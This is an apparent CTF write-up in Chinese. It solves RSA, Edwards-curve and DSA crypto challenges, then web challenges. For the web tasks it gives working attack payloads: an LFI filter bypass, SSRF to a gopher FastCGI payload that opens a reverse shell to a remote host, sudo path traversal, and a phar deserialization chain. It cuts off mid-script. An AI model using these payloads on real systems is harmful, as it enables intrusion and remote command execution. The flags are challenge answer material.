Crypto

babyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from secret import flag
from Crypto.Util.number import*
from gmpy2 import*

flag = b'D0g3xGC{****************}'

def gen_key(p, q):
public_key = p*p*q
e = public_key
n = p*q
phi_n = (p-1)*(q-1)
private_key = inverse(e,phi_n)
return public_key,private_key,e

p = getPrime(512)
q = getPrime(512)

N,d,e = gen_key(p,q)

c = gmpy2.powmod(bytes_to_long(flag),e,N)

print(N)
print(d)
print(c)

'''
n = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
'''

这题考察Schmidt-Samoa密码系统

https://blog.csdn.net/MikeCoke/article/details/113915715

原理

1.选取两个大的质数p和q并进行计算N=p^2^q

2.计算 d = invert(N,φ(p*q))

加密

对消息m,计算密文C=m^N^ mod N

解密

计算明文m=C^d^ mod pq

求pq

∵Nd≡1 mod(p−1)(q−1)

任意选取一个a,有aNd≡ak(p−1)(q−1)+1≡amodpq

∴k×(p×q)=aNd−a

和N求公因数即可得到p×q,再用d解密即可

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
N = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
e = N
q = 11682728569119442765104955520443100815157800894598441208197112854870727710574811372574729254669600080697371923918009290021699237499317800284984683861345681
p = 46171054277314433550502593578876802976126614469930960512504812790589501500634087385124270498497135178250381413608162419922589329573991058504482940549550990812496782396771932599800636901295867760056413478165542887208036189079832707301595316035118578227851919617106397634601546986746993172265255550456834105569

tmp = pow(2,d*N,N) - 2
pq = gmpy2.gcd(tmp,N)

m = pow(c,d,pq)
print(bytes.fromhex(hex(m)[2:]))
# D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2

N = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
e = N
q = 11682728569119442765104955520443100815157800894598441208197112854870727710574811372574729254669600080697371923918009290021699237499317800284984683861345681
p = 46171054277314433550502593578876802976126614469930960512504812790589501500634087385124270498497135178250381413608162419922589329573991058504482940549550990812496782396771932599800636901295867760056413478165542887208036189079832707301595316035118578227851919617106397634601546986746993172265255550456834105569

tmp = pow(2,d*N,N) - 2
pq = gmpy2.gcd(tmp,N)

m = pow(c,d,pq)
print(bytes.fromhex(hex(m)[2:]))
# D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}

Curve

https://tangcuxiaojikuai.xyz/post/187210a7.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#sagemath
from Crypto.Util.number import *

def add(P, Q):
(x1, y1) = P
(x2, y2) = Q

x3 = (x1*y2 + y1*x2) * inverse(1 + d*x1*x2*y1*y2, p) % p
y3 = (y1*y2 - a*x1*x2) * inverse(1 - d*x1*x2*y1*y2, p) % p
return (x3, y3)

def mul(x, P):
Q = (0, 1)
while x > 0:
if x % 2 == 1:
Q = add(Q, P)
P = add(P, P)
x = x >> 1
return Q

p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
e=0x10001

gx=bytes_to_long(b'D0g3xGC{*****************}')

PR.<y>=PolynomialRing(Zmod(p))
f=(d*gx^2-1)*y^2+(1-a*gx^2)
gy=int(f.roots()[0][0])

assert (a*gx^2+gy^2)%p==(1+d*gx^2*gy^2)%p

G=(gx,gy)

eG = mul(e, G)
print(eG)

#eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)

通过曲线之间的映射来解题

通过assert (agx^2+gy^2)%p==(1+dgx^2*gy^2)%p可知是标准的扭曲爱德华曲线

曲线 | Lazzaro (lazzzaro.github.io)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
e=0x10001
eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)
c=1

F = GF(p)
dd = F(d*c^4)
A = F(2) * F(a+dd) / F(a-dd)
B = F(4) / F(a-dd)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)

def edwards_to_ECC(x,y):
x1 = F(x) / F(c)
y1 = F(y) / F(c)


x2 = F(1+y1) / F(1-y1)
y2 = F(x2) / F(x1)


x3 = (F(3*x2) + F(A)) / F(3*B)
y3 = F(y2) / F(B)

return (x3,y3)

def ECC_to_edwards(x,y):
x2 = (F(x) * F(3*B) - F(A)) / F(3)
y2 = F(y) * F(B)


x1 = F(x2) / F(y2)
y1 = F(1) - (F(2) / F(x2+1))


x_ = F(x1) * F(c)
y_ = F(y1) * F(c)


return (x_,y_)

E = EllipticCurve(GF(p), [a, b])
order = E.order()
eG = E(edwards_to_ECC(eG[0],eG[1]))
t = inverse(e,order)
G = t*eG
G = ECC_to_edwards(G[0],G[1])
print(long_to_bytes(int(G[0])))
#b'D0g3xGC{SOlvE_The_Edcurv3}'

ezlogin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *
from gmpy2 import *
from hashlib import*
import random,os

flag = b'D0g3xGA{***************}'
msg = b'e = ?'

def sign(pub, pri, k):
(p,q,g,y) = pub
x = pri
r = int(powmod(g, k, p) % q)
H = bytes_to_long(sha1(os.urandom(20)).digest())
s = int((H + r * x) * invert(k, q) % q)
return (H,r,s)

k1 = getPrime(64)
k2 = k1 ** 2
pri = bytes_to_long(msg)
a = 149328490045436942604988875802116489621328828898285420947715311349436861817490291824444921097051302371708542907256342876547658101870212721747647670430302669064864905380294108258544172347364992433926644937979367545128905469215614628012983692577094048505556341118385280805187867314256525730071844236934151633203
b = 829396411171540475587755762866203184101195238207
g = 87036604306839610565326489540582721363203007549199721259441400754982765368067012246281187432501490614633302696667034188357108387643921907247964850741525797183732941221335215366182266284004953589251764575162228404140768536534167491117433689878845912406615227673100755350290475167413701005196853054828541680397
y = 97644672217092534422903769459190836176879315123054001151977789291649564201120414036287557280431608390741595834467632108397663276781265601024889217654490419259208919898180195586714790127650244788782155032615116944102113736041131315531765220891253274685646444667344472175149252120261958868249193192444916098238

pub = (a, b, g, y)

H1, r1, s1 = sign(pub, pri, k1)

H2, r2, s2 = sign(pub, pri, k2)

p = getPrime(128)
q = getPrime(128)
n = p * q
c = powmod(bytes_to_long(flag), e, n)

C = p**2 + q**2

print(f'(H1, r1, s1) = {H1}, {r1}, {s1}')
print(f'(H2, r2, s2) = {H2}, {r2}, {s2}')
print(c)
print(C)

'''
(H1, r1, s1) = 659787401883545685817457221852854226644541324571, 334878452864978819061930997065061937449464345411, 282119793273156214497433603026823910474682900640
(H2, r2, s2) = 156467414524100313878421798396433081456201599833, 584114556699509111695337565541829205336940360354, 827371522240921066790477048569787834877112159142
c = 18947793008364154366082991046877977562448549186943043756326365751169362247521
C = 179093209181929149953346613617854206675976823277412565868079070299728290913658
'''

前面按照线性k的dsa正常分析

image-20241208210421631

之后利用small_roots求解出k,然后正常解密出x就得到了msg中得e

之后得RSA需要利用C求出p和q,但是直接用sagemath中得two_squares得求出来得不是我们需要的,之后就找了个这个网站可以多个解,然后慢慢试:

Generic two integer variable equation solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
(H1, r1, s1) = 659787401883545685817457221852854226644541324571, 334878452864978819061930997065061937449464345411, 282119793273156214497433603026823910474682900640
(H2, r2, s2) = 156467414524100313878421798396433081456201599833, 584114556699509111695337565541829205336940360354, 827371522240921066790477048569787834877112159142

p = 149328490045436942604988875802116489621328828898285420947715311349436861817490291824444921097051302371708542907256342876547658101870212721747647670430302669064864905380294108258544172347364992433926644937979367545128905469215614628012983692577094048505556341118385280805187867314256525730071844236934151633203
q = 829396411171540475587755762866203184101195238207
g = 87036604306839610565326489540582721363203007549199721259441400754982765368067012246281187432501490614633302696667034188357108387643921907247964850741525797183732941221335215366182266284004953589251764575162228404140768536534167491117433689878845912406615227673100755350290475167413701005196853054828541680397

x=(H1*r2-H2*r1)%q

PR.<k>=PolynomialRing(Zmod(q))
f=s1*r2*k-s2*r1*k^2-x
f=f.monic()
k=int(f.small_roots(X=2**64, beta=0.4,epsilon=0.01)[0])

print(long_to_bytes(int(((s1*k-H1)*inverse(r1,q))%q)))
#b'e = 44519'
c = 18947793008364154366082991046877977562448549186943043756326365751169362247521
C = 179093209181929149953346613617854206675976823277412565868079070299728290913658

p=302951519846417861008714825074296492447
q=295488723650623654106370451762393175957
e = 44519
n=p*q
phi=(p-1)*(q-1)
d=inverse_mod(e,phi)
m=int(pow(c,d,n))
print(long_to_bytes(m))
#b'D0g3xGC{EZ_DSA_@nd_C0mplex_QAQ}'

Web

题目提示密码是纯数字

signal

打开登录框

我们发现后端是php

image-20241211192326525

进行目录扫描

image-20241211192356476

得到了index.php,admin.php,.index.php.swp

我们先来看admin.php,结果它自跳到了index.php里,看来存在session验证

我们下载.index.php.swp文件,用记事本打开看一眼

image-20241211192937509

我们知道了账号和密码为guest和MyF3iend

我们成功登录账号

image-20241211193404817

我们发现url里存在文件包含,我们包含个flag看看,发现flag是假的

image-20241211193525761

我们包含admin.php试试

emmm,又自动跳转到index.php了,这说明了php被解析了,所以后端是用include函数来包含的

我们试试伪协议,先查看guest.php

1
?path=php://filter/convert.base64-encode/resource=guest.php

发现被过滤了,几个测试,我们发现过滤器被过滤了,我们对它进行二次url编码

1
?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=guest.php

得到guest.php的base64编码后的源码,我们解码后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
$_SESSION['error'] = 'Please fill in the username and password';
header('Location: index.php');
exit();
}

if (!isset($_GET['path'])) {
header("Location: /guest.php?path=/tmp/hello.php");
exit;
}

$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
echo "Don't do this";
}else{
include($path);
}

我们来读取admin.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
session_start();
error_reporting(0);

// 检查用户是否已登录并且是管理员
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
// 检查URL是否以https://开头
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed';
} else {
// 使用cURL抓取页面内容
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);

// 错误处理
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content';
}
curl_close($ch);
}
}
?>

我们来看这几个关键代码

    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

发现它允许跟随302跳转,并且接受POST传参url的,但是加了session验证,所以需要知道怎么登录进admin页面,所以我们需要在哪里得到admin的账户

我们在index.php页面源码发现语句

image-20241211203700324

我们发现一个StoredAccounts.php,用文件包含读取一下源码看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();

$users = [
'admin' => 'FetxRuFebAdm4nHace',
'guest' => 'MyF3iend'
];

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

if (isset($users[$username]) && $users[$username] === $password) {
$_SESSION['logged_in'] = true;
$_SESSION['username'] = $username;

if ($username === 'admin') {
header('Location: admin.php');
} else {
header('Location: guest.php');
}
exit();
} else {
$_SESSION['error'] = 'Invalid username or password';
header('Location: index.php');
exit();
}
} else {
$_SESSION['error'] = 'Please fill in the username and password';
header('Location: index.php');
exit();
}

我们找到了管理员账号密码

1
admin FetxRuFebAdm4nHace

就是一个输出框,我们可以进行ssrf跳转,看源代码是只有https开头的才能跳转,现在需要想的是这里 的ssrf能打什么,结合题目描述,可以知道这里是打fastcgi。那么怎么https打302呢。如果自己有一个 域名,那么很好解决,直接跳转一下打fastcgi即可。服务器是裸ip就要找其他的方法尝试搭建一个临时 域名,这里至少有两个方法:

我们利用国外的cloudflare来起一个临时域名,用来打302跳转

image-20241211205746034

本地测试是可以成功打302跳转的,但是这里的服务器是不通外网的,所以需要找另外的方法

使用ngrok工具,在服务器上面使用这个工具可以创建一个临时网站。配置方法参考官方文章,在 这个临时域名指向的本地服务就需要将其设置为一个302跳转来打。具体操作如下:

用于本地服务跳转的代码:

1
2
3
4
5
6
7
8
9
from flask import Flask, redirect
app = Flask(__name__ )
@app.route('/')
def indexRedirect():
redirectUrl = 'http://127.0.0.1/admin.php'
return redirect(redirectUrl)

if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)

然后利用ngrok用于搭建临时网站的命令

1
生成https临时网站: ngrok http 8080

在这里我们就使用第二个,配置好ngrok后如下进行操作

开启本地服务:

image-20241211213448847

进行端口转发

image-20241211213509423

然后扔题目里访问这个https即可,看看回显:

image-20241211213549272

有回显了,现在就是打fastgci

我们利用Gopherus来生成payload:

image-20241211213947572

然后拿到本地服务中进行跳转

1
2
3
4
5
6
7
8
9
10
11

from flask import Flask, redirect
app = Flask(__name__ )
@app.route('/')
def indexRedirect():
redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04 %00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR12 7.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPO ST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_ prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0 D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3 C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----
%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)

if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)

然后基本操作和前面差不多,现在还是将临时域名拿去跳转

image-20241211215458238

成功执行命令

现在我们来弹一下shell

image-20241211215941091

1
2
3
4
5
6
7
8
9
10
11
12

from flask import Flask, redirect
app = Flask(__name__ )
@app.route('/')
def indexRedirect():
redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04 %00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR12 7.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODP OST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto _prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php% 0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00 %3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-
i%20%3E%26%20/dev/tcp/[IP]/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-
SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)

if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)

然后在服务器上监听端口,再执行一下之前的操作,成功反弹shell

image-20241211221053936

根目录下的flag是假的,所以现在需要找一下flag位置:

image-20241211221141529

1
find / -name flag*

image-20241211221252081

找到flag了,我们查看…shell水灵灵的断了,重新连接吧

我们查看/tmp/whereflag/flagIsHere

提示我们没有权限

image-20241211224100124

所以我们还要进行提权

image-20241211224156571

因为此处无密码sudo的cat可读路径用了*进行通配,所以可以尝试目录穿越,如下读取flag即可:

1
sudo cat /tmp/whereflag/../../../root/flag

得到flag

image-20241211224258243

n0ob_un4er

打开就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
$SECRET = `/readsecret`;
include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
function __destruct() {
echo "Admin can play everything!";
eval($this->code);
}
}
function game($filename) {
if (!empty($filename)) {
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}
function set_session(){
global $SECRET;
$data = serialize(new User("user"));
$hmac = hash_hmac("sha256", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data);
if ( $data->role === "user" ){
game($_GET["filename"]);
}else if($data->role === "admin"){
return new Admin($_GET['code']);
}
return 0;
}
if (!isset($_COOKIE["session-data"])) {
set_session();
highlight_file(__FILE__);
}else{
highlight_file(__FILE__);
check_session();
}

来看session的逻辑,我们通过check_session()的校验后可以直接进行反序列化,但由于存在hmac-sha256加密,我们无法进行绕过进行反序列化,只能想想别的方法

我们知道copy函数可以使用phar伪协议,而且只要实例化admin类就能直接命令执行,明显是打phar反序列化

但是这里没有文件上传的点,不难想到将phar文件编码为字符串然后写入

$filename还要过一个waf,但源码没有给,在官方的题解里给出了这个waf

image-20241212192129258

这个waf用了正则匹配了input,stdin和data关键字,防止使用这些可以读取外部数据流的伪协议去写文件

所以我们必须要找一个内部可控的文件来进行构造,可控文件无非临时文件,日志文件,session文件,临时文件无法知道文件名,由于该题设置了open_basedir,日志文件无法copy,所以只有session文件了,而且php的版本为7.2,在这个版本里,就算不开启session,但只要上传了文件,并且在cookie传入了PHPSESSION,也会生成临时的session文件

phar转字符串

用下面这组编码方法,后来发现其实用base64编码也行

1
2
3
convert.base64-encode 和 convert.base64-decode
convert.iconv.utf-8.utf-16be 和 convert.iconv.utf-16be.utf-8
convert.quoted-printable-encode 和 convert.quoted-printable-decode

参考

Laravel 8 Debug Mode RCE 拓展与踩坑 · Diggid’s Blog

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class Admin{
public $code;
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Admin();
$o ->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

编码命令

1
cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

编码结果

1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=70=00=31=00=56=00=70=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=66=00=6B=00=51=00=44=00=6D=00=4B=00=4E=00=47=00=70=00=6B=00=70=00=46=00=51=00=76=00=48=00=4D=00=43=00=58=00=64=00=32=00=6C=00=2F=00=4C=00=46=00=32=00=30=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00
消除垃圾数据

由于session文件生成的规则,我们写入的数据前后都是会有系统写入的垃圾数据的

1
curl http://127.0.0.1:8001/ -H 'Cookie: PHPSESSID=litsasuk' -F'PHP_SESSION_UPLOAD_PROGRESS=[Your_data]'  -F 'file=@/etc/passwd'

image-20241212203238042

我们可以使用base64编码的特性来消除前后的字符串

前面的”upload_progress_”一共14为,经过fuzz后我们只需要在后面添加两个字符“ZZ”,进行三次base64解码就能刚好被消掉

对于后面的垃圾数据,如果使用的是wp的报名方法,就不要管了,在解码的时候自然就会消掉了

编码细节

但是这里还有一个细节,就是如果我们要先进行3次base64编码来消去垃圾数据,那么我们编码后的phar文件就还需要连续进行3次base64编码,由于base64编码特性,人工被解码的字符串中出现了“=”就会编码失败,所以我们还需要对payload填充一下位数,使之连续3次base64编码都不会出现“=”,就需要满足位数为3^3的倍数

原本的payload是1392位,需要填充12位再进行连续3次base64编码

1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=70=00=31=00=56=00=70=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=66=00=6B=00=51=00=44=00=6D=00=4B=00=4E=00=47=00=70=00=6B=00=70=00=46=00=51=00=76=00=48=00=4D=00=43=00=58=00=64=00=32=00=6C=00=2F=00=4C=00=46=00=32=00=30=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAA
写文件以及读取文件

写文件

1
?filename=php://filter/read=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable- decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/sess_litsasuk

读文件触发phar反序列化

1
?filename=phar:///tmp/tmp.tmp/test.txt
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import sys
from threading import Thread, Event
import requests

# 定义主机地址和会话名称
HOST = 'http://125.70.243.22:31303/'
sess_name = 'litsasuk'

# 定义请求头部信息
headers = {
'Connection': 'close',
'Cookie': f'PHPSESSID={sess_name}'
}

# 停止事件,用于控制线程
stop_event = Event()

# 载荷数据
payload = '''
